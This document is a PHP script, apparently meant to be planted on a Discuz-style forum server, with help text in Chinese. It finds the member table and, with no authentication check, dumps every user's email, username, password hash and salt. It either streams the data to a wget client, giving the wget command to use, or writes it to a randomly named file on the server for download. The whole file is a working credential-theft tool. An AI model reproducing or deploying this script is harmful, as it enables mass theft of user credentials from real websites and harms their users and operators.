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<?php
define("ENDSTR",End_str());
ignore_user_abort();
set_time_limit(0);
ini_set("max_execution_time","0");
ob_clean();
require_once './include/common.inc.php';
header('Content-type: text/html;charset=utf-8');
ini_set('memory_limit',-1);
error_reporting(0);
$dump=$_GET['dump']?$_GET['dump']:0;
$save=$_GET['save']?$_GET['save']:0;
$tablename_arr=array("uc_members","members");
$result= $db->result ( $db->query("SHOW TABLES like '%$tablename_arr[0]%' "),0);
$result1= $db->result ( $db->query("SHOW TABLES like '%$tablename_arr[1]%' "),0);
if(!empty($result) && !empty ($result1)) {
$tablename = $result;
$type=2;
}else{
$tablename = $result1;
$type=1;
}
$count=$db->result ( $db->query("select count(-1) from $tablename"),0);
if( empty($tablename)&& $count ==0){
exit('表为空,或没有想要查询的表'.ENDSTR);
}
$endstr=ENDSTR;
$infos=<<<EOL
基本信息
------------------------------------------------------------- {$endstr}
当前表: {$tablename} {$endstr}
数据量: {$count} {$endstr}
网站编码: {$GLOBALS['charset']} {$endstr}
当前页面所使用编码:utf-8 {$endstr}{$endstr}{$endstr}
帮助信息{$endstr}
-------------------------------------------------------------{$endstr}
使用wget下载:{$endstr}
wget http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]?dump=1 -O $_SERVER[HTTP_HOST].txt{$endstr}{$endstr}
数据量巨大(大于 500W)的情况下 防止web崩溃 或内存不足 使用下面的参数 将数据保存至当前服务器{$endstr}
http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]?save=1{$endstr}{$endstr}
EOL;
if(is_Browser() && $dump==0 &&$save==0 ) {
exit($infos);
}
if($dump!=0){
if(is_Browser()){
exit('请使用wget访问'.ENDSTR.'wget http://'."$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]?dump=1 -O $_SERVER[HTTP_HOST].txt".ENDSTR);
}
$limit_start=0; $limit_length=5000; $limit_end=$count;$limit_end=$limit_end-$limit_start;
$limit_length=$limit_end>$limit_length?$limit_length:$limit_end;
$section=ceil($limit_end/$limit_length);
if (ob_get_level() == 0){
ob_start();
}
echo "当前表: {$tablename} {$endstr}".
"数据量: {$count} {$endstr}";
echo "---------------------------------------------------------------------------------------{$endstr}";
if($type==2){
for($i=0;$i<$section;$i++) {
$sql = "select email,username,password,salt from $tablename " . ' LIMIT ' . ($limit_start + 1 + $i * $limit_length) . ',' . $limit_length . ';';
$query=$db->query($sql);
while($result=$db->fetch_array($query)){
echo iconv($GLOBALS['charset'],'UTF-8',$result['email'])."t".
iconv($GLOBALS['charset'],'UTF-8',$result['username'])."t".
iconv($GLOBALS['charset'],'UTF-8',$result['password'])."t".
iconv($GLOBALS['charset'],"UTF-8",$result['salt']).ENDSTR;
}
ob_end_flush();
}
}else{
for($i=0;$i<$section;$i++) {
$sql = "select email,username,password from $tablename " . ' LIMIT ' . ($limit_start + 1 + $i * $limit_length) . ',' . $limit_length . ';';
$query=$db->query($sql);
while($result=$db->fetch_array($query)){
echo iconv($GLOBALS['charset'],'UTF-8',$result['email'])."t".
iconv($GLOBALS['charset'],'UTF-8',$result['username'])."t".
iconv($GLOBALS['charset'],'UTF-8',$result['password']).ENDSTR;
}
ob_end_flush();
}
}
exit();
}
if($save!=0){
ob_end_flush();
$filename='data_'.substr(md5(mt_rand()),28,12).'.txt';
$limit_start=0; $limit_length=10000; $limit_end=$count;$limit_end=$limit_end-$limit_start;
$limit_length=$limit_end>$limit_length?$limit_length:$limit_end;
$section=ceil($limit_end/$limit_length);
$head= "当前表: {$tablename} ".PHP_EOL.
"数据量: {$count} ".PHP_EOL.
"---------------------------------------------------------------------------------------".PHP_EOL;
file_put_contents($filename,$head);
if($type==2){
for($i=0;$i<$section;$i++) {
$sql = "select email,username,password,salt from $tablename " . ' LIMIT ' . ($limit_start + 1 + $i * $limit_length) . ',' . $limit_length . ';';
$query=$db->query($sql);
echo '正在执行: '.$sql.ENDSTR;
flush();
while($result=$db->fetch_array($query)){
file_put_contents($filename,iconv($GLOBALS['charset'],'UTF-8',$result['email'])."t".
iconv($GLOBALS['charset'],'UTF-8',$result['username'])."t".
iconv($GLOBALS['charset'],'UTF-8',$result['password'])."t".
iconv($GLOBALS['charset'],"UTF-8",$result['salt']).PHP_EOL,FILE_APPEND);
}
}
echo(ENDSTR.'备份完毕，下载地址为: '. DownloadName().$filename.' 请立即下载！');
}else{
for($i=0;$i<$section;$i++) {
$sql = "select email,username,password from $tablename " . ' LIMIT ' . ($limit_start + 1 + $i * $limit_length) . ',' . $limit_length . ';';
$query=$db->query($sql);
echo '正在执行: '.$sql.ENDSTR;
flush();
while($result=$db->fetch_array($query)){
file_put_contents($filename,iconv($GLOBALS['charset'],'UTF-8',$result['email'])."t".
iconv($GLOBALS['charset'],'UTF-8',$result['username'])."t".
iconv($GLOBALS['charset'],'UTF-8',$result['password']).PHP_EOL,FILE_APPEND);
}
}
echo(ENDSTR.'备份完毕，下载地址为: '. DownloadName().$filename.' 请立即下载！');
}
}
function End_str(){
if(stristr($_SERVER[HTTP_USER_AGENT],'wget') || stristr($_SERVER[HTTP_USER_AGENT],'curl') || empty($_SERVER[HTTP_USER_AGENT]) || php_sapi_name() ==='cli'){
return PHP_EOL;
}else{
return "";
}
}
function is_Browser(){
if(!stristr($_SERVER[HTTP_USER_AGENT],'wget')){
return true;
}
}
function DownloadName(){
$url="http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$p=array_slice(explode('/',$url),-1);
$t=$p[0];
return rtrim($url,$t);
}
?>
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